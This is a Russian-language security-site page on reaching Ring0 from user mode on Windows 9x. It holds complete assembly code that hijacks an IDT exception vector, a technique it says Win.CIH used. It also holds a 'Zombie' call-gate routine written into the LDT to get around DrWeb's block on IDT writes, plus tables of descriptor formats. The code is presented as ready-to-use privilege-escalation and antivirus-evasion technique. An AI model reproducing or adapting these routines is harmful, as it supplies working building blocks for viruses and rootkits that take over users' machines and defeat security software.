|
реклама |
|
http://kiev-security.org.ua
|index|информация|метод zombie|
Этот небольшой код показывает как получить доступ в Ring0, изменяя прерывание вектора в IDT, затем вызывает это прерывание. Если все прошло благополучно то программа вызывает маленький демо эффект (запусти и увидишь ? ). Прикол заключается в том, что мы спокойно можем записывать в IDT (Таблицу Дескрипторов Прерываний), совсем как в старом добром ДОСе. Суть метода, кстати, использованного в Win.CIH, заключается в установлении адреса вектора одного из Exception на наш обработчик. Так как наш дескриптор кода имеет привилегии <3>, то в качестве дескриптора назначения используется 28h - системный сегмент кода. Вызывая Exception из программы, мы тем самым передаем управление нашему уже привилегированному обработчику.
.386p locals jumps .model flat, stdcall extrn ExitProcess : proc .data idt df 0 s_gate dq 0 o_gate dw 0 dw 028h dw 0EE00h dw 0 .code start: mov eax, offset ring0 mov [o_gate], ax shr eax, 16 mov [o_gate+6], ax ;получим адрес IDT и Exception 9 ;(номер 9 выбран от фонаря) sidt fword ptr idt mov ebx, dword ptr [idt+2] add ebx, 8*9 ; адрес int9 ;сохраним старый адрес Exception 9 mov edi, offset s_gate mov esi, ebx movsd movsd ;установим новый адрес Exception 9 mov edi, ebx mov esi, offset o_gate movsd movsd ;передаем управление на Ring0 int 9h ;восстановим старый адрес Exc.9 mov edi, ebx mov esi, offset s_gate movsd movsd ; выход из программы push 0 call ExitProcess ring0 proc ; вызывается как код нулевого ; кольца ; маленький видеоэффект ( работа с портами ! ) demo: ;mov ecx, ???????? - отфонарный счетчик mov edx,03D4h mov al,0Ch out dx,al mov edx,03D5h mov al,bh out dx,al mov edx,03D4h mov al,0Dh out dx,al mov edx,03D5h mov al,bl out dx,al inc ebx push ecx mov ecx,0000FFFFh loop $ pop ecx loop demo iretd ring0 endp end start
LDT - Local Descriptor Table
Размер элемента: 8 байт (64 бита)
Бит пп | Байт | Описание |
00..15 | 0,1 | Предел (младшие 16 бит) |
16..39 | 2..4 | Базовый адрес (младшие 3 байта) |
40..43 | 5 | Тип |
44 | 5 | Бит "S" |
45..46 | 5 | Уровень привилегий дескриптора (DPL) |
47 | 5 | Бит "P"=1- признак присутствия в физич. RAM |
48..51 | 6 | Предел (старшие 4 бита) |
52..55 | 6 | Зарезервировано (0) |
56..63 | 7 | Базовый адрес (старший байт) |
GDT - Global Descriptor Table
Размер элемента: 8 байт (64 бита)
Бит пп | Байт | Описание |
00..15 | 0,1 | Предел (младшие 16 бит) |
16..39 | 2..4 | Базовый адрес (младшие 3 байта) |
40..47 | 5 | БАЙТ ПРАВ ДОСТУПА ("AR") |
40 | Бит "A" 0->1 при обращении к сегменту | |
41..43 | Тип | |
44 | Бит "S" =1 - сегмент, =0 - системный обьект | |
45..46 | Уровень привилегий дескриптора (DPL) | |
47 | Бит "P"=1 -признак присутствия в физич. RAM | |
48..51 | 6 | Предел (старшие 4 бита) |
52 | Бит "U" - для нужд программиста | |
53 | Бит "X" | |
54 | Бит "D" (=0 - 16-битный ,=1 - 32-битный сег. | |
55 | Бит "G" гранулярности (1 = предел * 4 кб) | |
56..63 | 7 | Базовый адрес (старший байт) |
IDT - Interrupt Descriptor Table
Размер элемента: 8 байт (48 бит)
DRWEB32 запретил запись в IDT своей VxD'шкой. Как избежать такой неприятности, советует Zombie:
(процедура)
Запись в IDT и GDT можно запретить. Но с LDT ничего не поделаешь, т.к. Windows в процессе работы сама туда часто что-нибудь пишет. Оригинальный метод Zombie состоит в следующем: В LDT текущей задачи создается шлюз вызова (Call Gate) на процедуру, которую мы хотели бы выполнить с привилегиями нулевого кольца. Вместо текущего дескриптора сегмента кода в Call Gate указывается системный кодовый сегмент нулевого кольца - 0028h, В результате при вызове Call Gate код процедуры будет находиться в сегменте нулевого кольца, обладая соответствующими привилегиями.
;на входе: ESI=смещение FAR процедуры нулевого кольца, которую необходимо инсталлировать ;использованные регистры: процедура извращает флаг DF ;~60 байт кода CGS equ 8 ; селектор CallGate call_in_ring0: pushad ;заносим базу GDT в EBX push ebx sgdt [esp-2] pop ebx ;получаем в EAX селектор LDT xor eax,eax sldt ax ; срезаем биты привилегий and al, not (111b) ; получим смещение дескриптора LDT в EBX add ebx,eax ; получим базу LDT в ECX (в ; дескрипторе она разбита на ; части) ; старшую mov ch,[ebx+7] mov cl,[ebx+4] shl ecx,10h ;и младшую mov cx,[ebx+2] ;заносим в EDI смещение ;дескриптора CallGate lea edi,[ecx+CGS] ;строим CallGate mov eax,esi stosw mov eax,1110110000000000b shl 10h + 28h stosd shld eax,esi,10h stosw popad db 09ah dd 0 dw CGS+100b+11b ; LDT + Ring3 ; готово ret
<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a> |